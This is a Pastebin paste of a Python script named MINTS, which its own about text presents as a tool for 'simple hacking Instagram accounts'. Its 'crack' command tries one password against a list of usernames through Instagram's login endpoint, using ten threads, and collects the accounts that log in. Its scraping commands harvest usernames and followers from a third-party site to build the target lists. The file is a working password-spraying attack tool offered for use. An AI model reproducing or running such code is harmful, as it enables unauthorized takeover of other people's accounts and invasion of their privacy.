Advertisement
Guest User

Jembut

a guest
Apr 10th, 2019
1,054
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.61 KB | None | 0 0
  1. import requests,json,re
  2. from http.cookiejar import LWPCookieJar as cj
  3. from bs4 import BeautifulSoup as bs
  4. import threading
  5.  
  6. l0 = '\033[0m'
  7. l1 = '\033[91m'
  8. l2 = '\033[92m'
  9. l3 = '\033[93m'
  10. l4 = '\033[94m'
  11. l5 = '\033[95m'
  12. l6 = '\033[96m'
  13.  
  14.  
  15.  
  16.  
  17.  
  18. def login():
  19.     id = input(f'{l6}Email/username:{l0} ')
  20.     pw = input(f'{l6}Password:{l0} ')
  21.     ig = 'https://www.instagram.com'
  22.     log_ig = ig+'/accounts/login/ajax/'
  23.     headers={'User-Agent':'Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'}
  24.    
  25.     s = requests.Session()
  26.     s.cookies = cj('.kuki')
  27.     s.headers = headers
  28.     s.headers.update({'Referer':ig})
  29.    
  30.     r = s.get(ig)
  31.     s.headers.update({'X-CSRFToken':r.cookies['csrftoken']})
  32.     data = {'username':id,'password':pw}
  33.    
  34.     login = s.post(log_ig,data=data,allow_redirects=True)
  35.     s.headers.update({'X-CSRFToken':login.cookies['csrftoken']})
  36.     j = json.loads(login.text)
  37.     if 'fr' in j:
  38.         print(f'{l5}Login success. ')
  39.         s.cookies.save()
  40.     elif 'two_factor_required' in j:
  41.         print(f' {l5}Two factor Authentification\nTurn off it and try again')
  42.     else:
  43.         print(f'{l5}Login Failed')
  44. succ=[]
  45. tf =[]
  46.  
  47. def logbf(uname):
  48.     ig = 'https://www.instagram.com'
  49.     log_ig = ig+'/accounts/login/ajax/'
  50.     headers={'User-Agent':'Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'}
  51.    
  52.     s = requests.Session()
  53.     s.cookies = cj('kuki')
  54.     s.headers = headers
  55.     s.headers.update({'Referer':ig})
  56.    
  57.     r = s.get(ig)
  58.     s.headers.update({'X-CSRFToken':r.cookies['csrftoken']})
  59.     data = {'username':uname,'password':pw}
  60.    
  61.     login = s.post(log_ig,data=data,allow_redirects=True)
  62.     s.headers.update({'X-CSRFToken':login.cookies['csrftoken']})
  63.     j = json.loads(login.text)
  64.     if 'fr' in j:
  65.         print(l3+uname+l2+' Success'+l0)
  66.         succ.append(uname)
  67.     elif 'two_factor_required' in j:
  68.         print(l6+uname + l4+' Two factor Authentification')
  69.         tf.append(uname)
  70.     else:
  71.         print(l6+uname+l1+ ' Failed'+l0)
  72.    
  73. def feed():
  74.     try:
  75.         open('.kuki')
  76.     except:
  77.         login()
  78.     s = requests.Session()
  79.     s.cookies = cj('.kuki')
  80.     s.cookies.load()
  81.     cek = s.get('https://www.instagram.com')
  82.     b = bs(cek.text,'html.parser')
  83.     for script in b.find_all('script'):
  84.         if "window.__additionalDataLoaded(" in str(script):
  85.             feed = re.findall(r"\'feed',(.*?)\);</script>",str(script))
  86.             feed = feed[0]
  87.            
  88.             j = json.loads(feed)
  89.             for i in j['user']['edge_web_feed_timeline']['edges']:
  90.                 j=i['node']['owner']
  91.                        
  92.                 id = j['id']
  93.                 name = j['full_name']
  94.                 uname = j['username']
  95.                    
  96.                 for txt in i['node']["edge_media_to_caption"]['edges']:
  97.                     capt = txt['node']['text']
  98.                 print(f'''
  99. {l6}Name :{l5} {name} (@{uname})
  100. {l6}ID   : {l5}{id}
  101. {l6}Capt : {l0}{capt}
  102. {l6}{"#"*40}\n''')
  103.  
  104. def search():
  105.     name = input(f'{l6}Name :{l0} ')
  106.     while len(name) == 0:
  107.         print(f"{l1}Don't be empty")
  108.         name = input(f'{l6}Name :{l0} ')
  109.     nm=name.replace(' ','+')
  110.     cek = requests.get('http://gopicta.com/?s='+nm)
  111.     b = bs(cek.text,'html.parser')
  112.     id = open(name.replace(" ","_")+'.txt','w')
  113.     for us in b.find_all('li'):
  114.         id.write(us.find('a').get('href').split('/')[3]+'\n')
  115.     print('Done')
  116. def folower():
  117.     url = 'http://gopicta.com/'
  118.     usr = input(f'{l6}Username (without @) :{l0} ')
  119.     us= usr.replace(' ','+')
  120.     r = requests.get(url+us).text
  121.     b = bs(r,'html.parser')
  122.     id = open(usr.replace(' ','_')+'.txt','w')
  123.     for us in b.find_all('li'):
  124.         if 'class' in str(us):
  125.             pass
  126.         else:
  127.             print(us)
  128.             id.write(us.find('a').get('href').split('/')[3]+'\n')
  129.     print('Done')
  130.  
  131.    
  132. def bf():
  133.     global pw
  134.     id = []
  135.     list = open(input(f'{l6}Uname file list :{l0} '),'r').readlines()
  136.     print(f'{l5}{str(len(list))}{l0} uname successfully loaded.')
  137.     pw = input(f'{l6}Password : {l0}')
  138.     print(f'{l6}Cracking..\n')
  139.     for i in list:
  140.         id.append(i.strip())
  141.     from multiprocessing.pool import ThreadPool as tp
  142.     try:
  143.         t = tp(10)
  144.         p=t.map(logbf,id)
  145.     except requests.exceptions.ConnectionError:
  146.         print(l1+'Connection error')
  147.     if len(succ) == 0 and len(tf) == 0:
  148.         print(f'{l0}\nCracking {l6}{str(len(id))}{l0} uname done with null results.')
  149.     else:
  150.         print(f'''
  151.     {l6}Results
  152.     {l5}-------
  153.     ''')
  154.         if len(succ) == 0:
  155.             print(f'{l6}Two factor verification(s):')
  156.             for i in tf:
  157.                 print(l5+'  * '+l0+i)
  158.         elif len(tf) == 0:
  159.             print(f'{l6}Success:')
  160.             for i in succ:
  161.                 print(l5+'  * '+l0+i)
  162.         else:
  163.             print(f'{l6}Success:')
  164.             for i in succ:
  165.                 print(l5+'  * '+l0+i)
  166.             print(f'{l6}Two factor verification(s):')
  167.             for i in tf:
  168.                 print(l5+'  * '+l0+i)
  169.            
  170.            
  171.            
  172. def update():
  173.     import os
  174.     import subprocess,time
  175.     print (l6+'\nChecking the connection..')
  176.     try:
  177.         rq = requests.get('https://github.com')
  178.         print(l6+'Connection OK')
  179.         print (l6+"Updating the program..")
  180.         print (l6+"This may take a few minutes, don't be cancel !\nPlease wait..")
  181.         os.system('cd && rm -rf mints')
  182.         subprocess.call(['cd && git clone https://github.com/karjok/mints'],shell=True, stdout=subprocess.DEVNULL, stderr = subprocess.STDOUT)
  183.         print (l6+'Restarting the program..')
  184.         time.sleep(2)
  185.         os.system('cd ../mints && python mints.py')
  186.     except requests.exceptions.ConnectionError:
  187.         print (l1+'Connection error detected !\nMINTS program need an internet connection.\nPlease check it before use this program.')
  188.                
  189.        
  190. def ban():
  191.     import os
  192.     os.system('clear')
  193.     print(f'''{l6}
  194.    ╔══╗   ╔══╗╔═╗╔══╗   ╔═╗╔═══════╗╔══════╗
  195.    ║  ╚╗ ╔╝  ║║ ║║  ╚╗  ║ ║╚══╗ ╔══╝║ ╔════╝
  196.    ║ ╔╗╚═╝╔╗ ║║ ║║ ╔╗╚╗ ║ ║   ║ ║   ║ ╚════╗
  197.    ║ ║╚╗ ╔╝║ ║║ ║║ ║╚╗╚╗║ ║   ║ ║   ╚════╗ ║
  198.    ║ ║ ╚═╝ ║ ║║ ║║ ║ ╚╗╚╝ ║   ║ ║   ╔════╝ ║
  199.    ╚═╝     ╚═╝╚═╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝
  200.     {l5}     Mini Instagram Tool Frameworks
  201.  
  202.  
  203. ''')
  204. def menu():
  205.     ban()
  206.     inp =['help','uname','follow','crack','about','feed','login','update','exit']
  207.     c = input(f'{l6}>> {l0}')
  208.     while c not in inp:
  209.         print(f'{l1} "{c}" command not found\n type "help" for more commands')
  210.         c = input(f'{l6}>> {l0}')
  211.  
  212.     if c == 'uname':
  213.         ban()
  214.         search()
  215.     elif c == 'follow':
  216.         ban()
  217.         folower()
  218.     elif c == 'crack':
  219.         ban()
  220.         bf()
  221.     elif c == 'help':
  222.         print(f'''
  223. {l6}Command     Information{l5}
  224. -------     -----------{l0}
  225. help        print this help
  226. login       login to your account
  227. uname       dump username by name
  228. follow      dump username followers
  229. crack       multibruteforce by uname list
  230. feed        view your timeline feed
  231. update      update this program
  232. about       print this tool information
  233. exit        exit
  234.  
  235. ''')
  236.     elif c == 'about':
  237.         ban()
  238.         print(l6+'Tool Informations'.center(50))
  239.         print(l5+'-----------------'.center(50))
  240.         print(f'''{l0}
  241. Name   :  MINTS
  242. Version:  V1.0 (Monday, April 8th, 2019 10:31 PM)
  243. Author :  Karjok Pangesty (tn_kjx)
  244. Team   :  CRABS ID (https://t.me/CRABS_ID)
  245. Greets :  Allah SWT, Eka Pangesty, CRABS
  246.  
  247. Intro  :  MINTS (Mini Instagram Tool Frameworks)
  248.       is a tool that can help you
  249.       to do simple hacking Instagram accounts.
  250.       I hope this tool useful for you.
  251.      
  252. Note   :  Author isn't responsible for any user abuse
  253.       if there are problems please report to the author.
  254.       FB : https://fb.me/karjok.pangesty.5
  255.       TG : https://t.me/om_karjok
  256.  
  257. ''')
  258.     elif c == 'feed':
  259.         ban()
  260.         feed()
  261.        
  262.     elif c == 'login':
  263.         ban()
  264.         login()
  265.     elif c == 'update':
  266.         ban()
  267.         update()   
  268.     else:
  269.         exit()
  270.  
  271.  
  272.  
  273.  
  274. if __name__=='__main__':
  275.     menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement